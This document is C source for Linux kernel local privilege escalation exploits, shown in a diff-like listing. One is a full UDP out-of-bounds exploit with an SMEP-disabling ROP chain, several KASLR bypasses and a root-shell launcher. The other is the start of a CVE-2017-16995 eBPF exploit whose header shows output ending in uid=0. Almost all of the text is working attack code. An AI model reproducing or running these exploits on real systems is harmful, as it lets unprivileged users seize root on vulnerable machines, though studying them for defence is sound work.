#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
dprintf("[-] mmap()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
dprintf("[-] connect()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
dprintf("[-] send()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
char* path = "/etc/lsb-release";
|
||||
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= max_length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((found - &buffer[0]) + needle_length + i >= length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
|
||||
void detect_kernel() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
struct utsname u;
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "14.04.1")) {
|
||||
strcpy(&codename[0], "trusty");
|
||||
} else if (strstr(u.version, "16.04.1")) {
|
||||
strcpy(&codename[0], "xenial");
|
||||
} else {
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
|
||||
// Linux Mint kernel release mappings
|
||||
if (!strcmp(&codename[0], "qiana"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rebecca"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rafaela"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rosa"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "sarah"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "serena"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "sonya"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(u.release, kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[!] unprivileged user namespaces are not available\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_kernel();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
dprintf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -1,496 +0,0 @@
|
||||
/*
|
||||
Credit @bleidl, this is a slight modification to his original POC
|
||||
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
||||
|
||||
For details on how the exploit works, please visit
|
||||
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
||||
|
||||
Tested on Ubuntu 16.04 with the following Kernels
|
||||
4.4.0-31-generic
|
||||
4.4.0-62-generic
|
||||
4.4.0-81-generic
|
||||
4.4.0-116-generic
|
||||
4.8.0-58-generic
|
||||
4.10.0.42-generic
|
||||
4.13.0-21-generic
|
||||
|
||||
Tested on Fedora 27
|
||||
4.13.9-300
|
||||
gcc cve-2017-16995.c -o cve-2017-16995
|
||||
internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
||||
[.]
|
||||
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
||||
[.]
|
||||
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
||||
[.]
|
||||
[*] creating bpf map
|
||||
[*] sneaking evil bpf past the verifier
|
||||
[*] creating socketpair()
|
||||
[*] attaching bpf backdoor to socket
|
||||
[*] skbuff => ffff880038c3f500
|
||||
[*] Leaking sock struct from ffff88003af5e180
|
||||
[*] Sock->sk_rcvtimeo at offset 472
|
||||
[*] Cred structure at ffff880038704600
|
||||
[*] UID from cred structure: 1000, matches the current: 1000
|
||||
[*] hammering cred structure at ffff880038704600
|
||||
[*] credentials patched, launching shell...
|
||||
#id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
||||
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
char buffer[64];
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
int doredact = 0;
|
||||
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static __u64 ptr_to_u64(void *ptr)
|
||||
{
|
||||
return (__u64) (unsigned long) ptr;
|
||||
}
|
||||
|
||||
int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = ptr_to_u64((void *) insns),
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = ptr_to_u64((void *) license),
|
||||
.log_buf = ptr_to_u64(bpf_log_buf),
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries, int map_flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
.flags = flags,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_lookup_elem(int fd, void *key, void *value)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV64_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
